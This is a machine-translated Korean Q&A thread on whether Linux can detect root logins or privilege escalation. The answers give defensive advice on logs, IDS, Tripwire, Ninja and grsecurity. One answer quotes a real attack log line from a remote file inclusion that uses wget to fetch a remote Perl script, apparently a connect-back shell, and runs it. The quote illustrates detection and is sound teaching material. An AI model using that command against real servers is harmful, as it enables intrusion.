일부 로컬 권한 상승 취약점(예:이것).
운영 체제가 루트로 로그인한 사람(또는 새로운 루트 프로세스 시작)을 감지할 수 있는지 궁금합니다. 다음 구성을 가진 Gnu/Linux 시스템을 상상해 보십시오: 루트가 시스템에 로그인하면(또는 루트 권한을 얻기 위해 일부 취약점이 감지되면) 시스템은 자체적으로 중단/종료되고 백업 시스템(다른 구성) 시작되거나 관리자가 관리됩니다. 통지하다...
내 생각이 타당합니까, 아니면 대부분의 취약점은 그 특성상 감지할 수 없습니까?
답변1
취약점 악용의 핵심은 발견되지 않도록 노력하는 것입니다. 결과적으로 대부분의 익스플로잇은 적어도 처음에는 정상적인 수단을 통해 시스템에 침입하지 않습니다. 그들은 일반적으로 다음과 같은 것을 사용합니다.버퍼 오버 플로우시스템에 액세스하려면
버퍼 오버 플로우
이러한 유형의 공격은 사용자 입력을 얻을 것으로 예상되는 애플리케이션 부분을 찾습니다. 정보를 제공해야 하는 웹 페이지와 다양한 텍스트 상자를 고려하십시오. 모든 텍스트 상자는 잠재적인 공격자의 잠재적인 진입점이 됩니다.
좋은 소식:
- 이러한 공격의 대부분은 루트 액세스 권한을 얻지 못하고 웹 서버용으로 특별히 설정된 사용자 계정에 대한 액세스 권한을 얻습니다. 따라서 일반적으로 웹 서버 파일 및 기능에만 액세스할 수 있습니다.
- 공격자들은 침입하는 동안 여러 지역에 상당한 흔적을 남겼습니다.
- 방화벽 로그
- 웹 서버 로그
- 기타 잠재적인 보안 도구 로그
나쁜 소식:
- 그들은 시스템에 대한 접근 권한을 얻었고 따라서 계속해서 추가 침입을 시도할 수 있는 교두보를 갖게 되었습니다.
- 통나무. 예, 로그 분석에는 시간이 많이 걸리고 오류가 발생하기 쉽다는 점을 고려하면 대부분의 경우 몇 주/개월/년 동안 침입이 감지되지 않습니다.
루트 로그인 감지
대부분의 시스템은 루트 로그인을 허용하지 않도록 설계되었으므로 이 공격 벡터는 실제로 문제가 되지 않습니다. 대부분의 공격은 다른 하위 수준 계정에 액세스한 다음 시스템에 교두보가 설정되면 다른 취약점을 찾아서 이를 악용합니다.
예시 #1:
공격자는 다음 작업을 수행하여 루트 액세스 권한을 얻을 수 있습니다.
- 텍스트 상자를 통해 양식에서 사용자 입력을 처리하는 취약한 웹 페이지를 찾아 시스템의 웹 서버 계정을 손상시킵니다.
- 웹 서버 계정에 대한 액세스 권한을 얻은 후 웹 서버 계정을 통해 셸 액세스 권한을 얻거나 웹 서버 계정이 사용자를 대신하여 명령을 실행하도록 해보세요.
- 특정 시스템의 도구(예: 명령) 버전에 취약점이 있는지 확인합니다
ls
. ls
루트 계정에 액세스하려면 도구를 오버플로하세요 .
예시 #2:
잠재적인 공격자는 시스템을 완전히 제어하는 데 관심이 없을 수도 있습니다. 대부분의 침입자는 다른 용도로 "노예"를 수집하는 시스템에만 관심이 있습니다. 종종 공격자는 시스템을 완전히 제어하지 않고도 소프트웨어를 사용할 수 있도록 시스템에 소프트웨어를 설치하기를 원합니다.
- 웹사이트가 webapp X를 열었는지 확인하세요. 공격자는 webapp X에 사용자가 이미지 파일을 업로드할 수 있는 취약점이 있다는 것을 알고 있습니다.
- 공격자는 이라는 이름의 파일을 준비하여
CMD.gif
업로드합니다. 예를 들어 포럼 사이트에 있는 사용자의 아바타 이미지일 수 있습니다. 그런데CMD.gif
이미지가 아니고 실제로는 이라는 프로그램입니다CMD.gif
. - 공격자는 포럼 사이트에 "이미지"를 업로드했습니다.
- 이제 공격자는 webapp X를 "속여" 자신의 "이미지"를 실행하게 합니다.
- 공격자는 브라우저를 이용해 webapp X를 호출하는데, webapp X 작성자가 상상도 못했던 방식으로 호출합니다. 그들은 또한 이를 비활성화하도록 webapp X를 설계하지 않았습니다.
이러한 공격에 대한 웹 서버 로그 파일
201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300]
"GET /cursosuperior/index.php?page=http://parit.org/CMD.gif?
&cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt
%2072.36.21.183%2021 HTTP/1.1" 200
노트:Apache 웹 서버의 샘플 로그(제공)OSSEC.net.
여기에서 공격자는 webapp X(index.php)를 실행하고 CMD.gif
있으며 다음 작업을 수행할 수 있습니다.
cd /tmp
wget http://72.36.254.26/~fanta/dc.txt
perl dc.txt 72.36.21.183 21
/tmp
그래서 그들은 webapp을 속였습니다 dc.txt
.
"손상된" 서버 비활성화
취약점이 "감지"된 서버를 종료할 수 있다는 생각은 좋은 시도이지만 몇 가지 이유로 작동하지 않습니다.
- 공격자가 첫 번째 시스템에 침투할 수 있다면 아마도 두 번째 시스템에도 침투할 수 있을 것입니다.
- 대부분의 시스템은 본질적으로 서로의 복제본입니다. 유지 관리가 더 쉽고 단순하게(동일하게) 유지하는 것이 IT 및 컴퓨팅 분야 대부분의 특징입니다.
- 구성이 다르면 시스템을 유지 관리하는 데 더 많은 작업이 필요하고 오류가 발생할 가능성이 더 많아지며, 이는 종종 취약점으로 이어집니다.
- 공격자의 목표는 침입이 아닐 수도 있으며 서비스에 대한 액세스를 거부하려고 할 수도 있습니다. 이것은 ... 불리운다서비스 거부(DoS).
피해를 제한하려고 시도하다
계속할 수도 있지만 일반적으로 시스템 보안과 관련하여 사용할 수 있는 리소스가 몇 가지 있습니다.
- 다음과 같은 것을 사용하십시오인계철선시스템 파일 시스템의 변경 사항을 감지합니다.
- 방화벽 - 모든 것에 대한 전체 액세스가 아닌 필요한 경우에만 액세스가 명시적으로 허용되도록 액세스를 제한합니다.
- 도구를 사용하여 로그 파일을 분석하여 이상 징후를 탐지합니다.
- 시스템을 최신 상태로 유지하고 최신 패치를 설치하십시오.
- 노출을 제한하세요. 시스템에 필요한 소프트웨어만 설치하세요. 컴파일러를 설치할 필요가 없으면
gcc
설치하지 마세요. - IDS - 침입 탐지 소프트웨어.
답변2
운영 체제는 누군가가 루트로 로그인할 때마다 로그 항목을 추가할 수 있고 추가합니다. 그러나 여러 가지 이유로 인해 권한 상승 오류를 방지하는 데 아무런 도움이 되지 않습니다.
공격자가 루트가 되면 로그 항목을 삭제할 수 있습니다. 이를 방지하는 유일한 방법은 1회 기록 미디어나 원격 시스템과 같이 공격자가 액세스할 수 없는 위치에 로그를 기록하는 것입니다.
루트로 시작된 로그인이나 프로세스는 일반적인 이벤트입니다. 일일 크론 작업이 실행 중이기 때문에 매일 아침 6시에 일어나고 싶지 않을 것입니다. 의심스러운 프로세스, 네트워크 트래픽 및 기타 동작을 탐지하는 것은 복잡한 휴리스틱 기반 작업입니다.IDS(침입탐지시스템).
권한 상승 오류에는 공격자가 로그인하거나 반드시 새 프로세스를 실행하는 것과 관련이 없습니다. 공격자는 실행 중인 프로그램의 버그를 악용하여 자신이 삽입한 모든 코드가 실행되도록 합니다. 공격자가 이미 시스템에 있는 다른 프로그램을 호출하는 것이 편리한 경우가 많지만 꼭 필요한 경우는 거의 없습니다.
답변3
좋은 질문!
다중 사용자 시스템에서는 로컬 루트 공격이 성공한 경우에만 일부 보호가 필요합니다.
이것닌자사용자 공간 소프트웨어는 새로운 루트 프로세스를 지속적으로 모니터링하고 예상치 못한 소스에서 생성된 경우 해당 프로세스를 종료할 수 있습니다. 단점은 Ninja가 CPU를 꽤 많이 사용한다는 점입니다.관습이 공격은 닌자가 닌자를 죽이기 전에 닌자를 죽일 만큼 충분히 빠를 수도 있습니다.
Ninja는 GNU/Linux 호스트를 위한 권한 상승 감지 및 방지 시스템입니다. 실행되면 로컬 호스트의 프로세스 활동을 모니터링하고 루트로 실행되는 모든 프로세스를 추적합니다. 생성된 프로세스의 UID 또는 GID가 0(루트)인 경우 ninja는 프로세스에 대해 필요한 정보를 기록하고 승인되지 않은 사용자가 생성한 경우 선택적으로 프로세스를 종료합니다.
더 안전한 대안은 다음을 사용하는 것입니다.GRSEC커널을 패치하려면 다음과 같습니다.RBAC(역할 기반 액세스 제어) 기능. RBAC를 사용하여 제거뿌리사용자는 모든 권한을 갖고 있으므로 관리자 역할로 인증하지 않는 한 루트를 얻는 것은 실제로 쓸모가 없습니다 gradm -a admin
.
GRSEC도 함께 제공됩니다.ParX, 이는 커널을 악용하기 어렵게 만듭니다.